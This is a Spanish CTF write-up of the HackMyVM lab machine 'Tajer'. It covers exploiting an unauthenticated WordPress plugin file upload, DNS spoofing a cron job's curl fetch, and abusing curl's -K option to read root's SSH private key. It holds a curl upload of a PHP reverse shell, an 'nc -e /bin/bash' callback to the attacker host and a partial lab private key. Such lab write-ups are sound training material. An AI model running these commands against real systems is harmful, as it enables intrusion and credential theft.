Tajer - Hackmyvm

0xH3rshel · September 1, 2023

Autor: Avijneyam
Dificultad: Medio

img

Enumeración

Como es costumbre, comienzo con una enumeración de puertos utilizando nmap.

h3rshel@kali:~/Desktop$ sudo nmap -p- 192.168.1.66  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 13:02 CEST
Nmap scan report for tajer.wordpress.hmv (192.168.1.66)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Después de un largo rato y muchas pruebas, pruebo a analizar dominios y subdominios relacionados con hackmyvm, hmv y tajer.

h3rshel@kali:~$ ffuf -u http://192.168.1.66 -H "Host: tajer.FUZZ.hmv" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 612

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.1.66
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: tajer.FUZZ.hmv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 612
________________________________________________

[Status: 200, Size: 57682, Words: 2445, Lines: 287, Duration: 185ms]
    * FUZZ: wordpress
[...]

Aparece el dominio tajer.wordpress.hmv.

Wpscan

Utilizo wpscan para continuar con la enumeración ya que se trata de un blog de wordpress.

h3rshel@kali:~/Desktop$ wpscan --url http://tajer.wordpress.hmv/ --api-token [api-token] -e
[...]
[+] tajer
 | Location: http://tajer.wordpress.hmv/wp-content/plugins/tajer/
 | Latest Version: 1.0.5 (up to date)
 | Last Updated: 2016-06-03T18:02:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Tajer - Unauthenticated Arbitrary File Upload
 |     References:
 |      - https://wpscan.com/vulnerability/655bc140-5bbf-4a7e-b20d-4343a75c0c67
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9206
 |      - http://www.vapidlabs.com/advisory.php?v=205
 |
 | Version: 1.0.5 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tajer.wordpress.hmv/wp-content/plugins/tajer/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tajer.wordpress.hmv/wp-content/plugins/tajer/readme.txt
[...]

Encuentro una vulnerabilidad arbitrary file upload, que me permite subir una shell.

Explotación

Creo un listener utiliznado nc -lvnp 1234.

Ahora toca subir la shell y ejecutarla.

h3rshel@kali:~/Desktop/tools$ curl -F "files=@rev_shell.php" http://tajer.wordpress.hmv/wp-content/plugins/tajer/lib/jQuery-File-Upload-master/server/php/index.php

h3rshel@kali:~/Desktop/tools$ curl http://tajer.wordpress.hmv/wp-content/plugins/tajer/lib/jQuery-File-Upload-master/server/php/files/rev_shell.php

Y obtengo sesión como www-data.

Escalado de privilegios

Utilizo pspy64 en busca de procesos ejecutandose en el background.

timeout 3m ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

[...]
2023/09/01 05:39:01 CMD: UID=1001  PID=1405   | /bin/sh -c /usr/bin/bash -c '/usr/bin/bash < <(/usr/bin/curl -s http://password.wordpress.hmv/k3vin)'

Se está ejecutando un script que hace una petición a password.wordpress.hmv y ejecuta el fichero k3vin.

Para este paso he utilizado ettercap para realizar dnsspoofing.

Dejo un enlace con una guia paso a paso para realizarlo: dnsspoofing

Modifico “/etc/ettercap/etter.dns”.

h3rshel@kali:~/Desktop/test$ tail -n 4 /etc/ettercap/etter.dns

# vim:ts=8:noexpandtab
#
password.wordpress.hmv  A       192.168.1.20

Creo el script a ejecutar con una reverse shell.

h3rshel@kali:~/Desktop/test$ cat k3vin     
nc -e /bin/bash 192.168.1.20 4444

Recibo la conexión.

h3rshel@kali:~/Desktop$ nc -lvnp 4444  
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.66] 36786
id
uid=1001(kevin) gid=1001(kevin) groups=1001(kevin)

Encuentro el directorio “/opt/scripts” con dos ficheros.

kevin@tajer:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root root  4096 Apr  1  2022 .
drwxrwxrwx 4 root root  4096 Apr  1  2022 ..
-rw-r--r-- 1 root root   886 Apr  1  2022 code
-r-x------ 1 root kevin  677 Apr  1  2022 curl.py
kevin@tajer:/opt/scripts$ file code
code: python 2.7 byte-compiled

curl.py no lo puedo leer pero deber ser el script que ejecutaba “password.wordpress.hmv/k3vin”.

El archivo code es un ejecutable compilado de python 2.7. Lo llevo a mi máquina kali y lo abro con cutter.

img

Se puede ver que el programa abre un archivo llamado input.txt dentro de “/opt/kevin”

Creo el archivo y le doy una entrada.

kevin@tajer:/tmp$ echo "0xH3rshel" > /opt/kevin/input.txt

Ejecuto nuevamente pspy64 para ver si algo ha cambiando.

kevin@tajer:/tmp$ ./pspy64
[...]
2023/09/01 06:37:01 CMD: UID=0     PID=2208   | sh -c /bin/bash -c 'curl -o /tmp/result_06_37_01 -K 0xH3rshel'

Ahora hay un nuevo script ejecutandose.

La opcion “-K” de curl sirve para indicar un archivo de configuración, por lo que modifico “input.txt” para que sea una ruta a un fichero válido. A continuación creo el archivo de configuración indicando como url el archivo “id_rsa” del usuario root.

kevin@tajer:/opt/kevin$ cat input.txt 
/tmp/0xH3rshel
kevin@tajer:/tmp$ cat 0xH3rshel 
url = file:///root/.ssh/id_rsa

Al cabo de un poco, veo que se ha creado en “/tmp” un fichero “result_*” que contiene la clave privada del usuario root.

kevin@tajer:/tmp$ cat result_06_42_01 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs9pLCYq5/lSuraQbmqHsZzj/2C4zB8bQOch55wOfeX3mUgH3L4S7
Nr4fEFUzWTWTke2HVwIl+7x1GODlQfGxpN8TA+kZ4B5OVDLDzjdOLMBMaBpAbeehbdDK52
HtjYLRsQp5dCCkBHl0TkEA1CgPHaPZwdHvkU3f/Syt8wN8TIFm0bOWLR3fG7mrVn+dvUv1
tpPKbNbEU3hadszcKuYl2N/Oht2OeWDrZYa+N4ETpTXCZ1mG1z1mRb9oY5u7tfPL9VemyP
TqEFpjh24miUXCn63w58Uw+wB5OvOuWAMM1fLBiDrdiV+TLzQznw7ocdg3eYG93+tp1WFf
6uHCNKasQYrRQrjPGEqloxYJTqD7DRmwRWTtRDPLFDlkZAT1c89UnnOOZ1whOD3j9gU6t9
1majHKG0aL7ERIWI/2yeksZdaop81CoT9p68cIrtJoze68F0j7rFwPgxJ8F2OtO+YoJJkj
4bo044EGYEOcYogVxoVqdhpvj18ywCgBncIIT9y9AAAFiArlGZoK5RmaAAAAB3NzaC1yc2
[...]

Ahora solo queda utilizarla para iniciar sesión.

kevin@tajer:/tmp$ cat result_06_42_01 > root_rsa
kevin@tajer:/tmp$ chmod 600 root_rsa 
kevin@tajer:/tmp$ ssh root@localhost -i root_rsa 
[...]
Last login: Fri Apr  1 13:51:42 2022
root@tajer:~# :)

Muchas gracias a Avijneyam por esta máquina.

Twitter, Facebook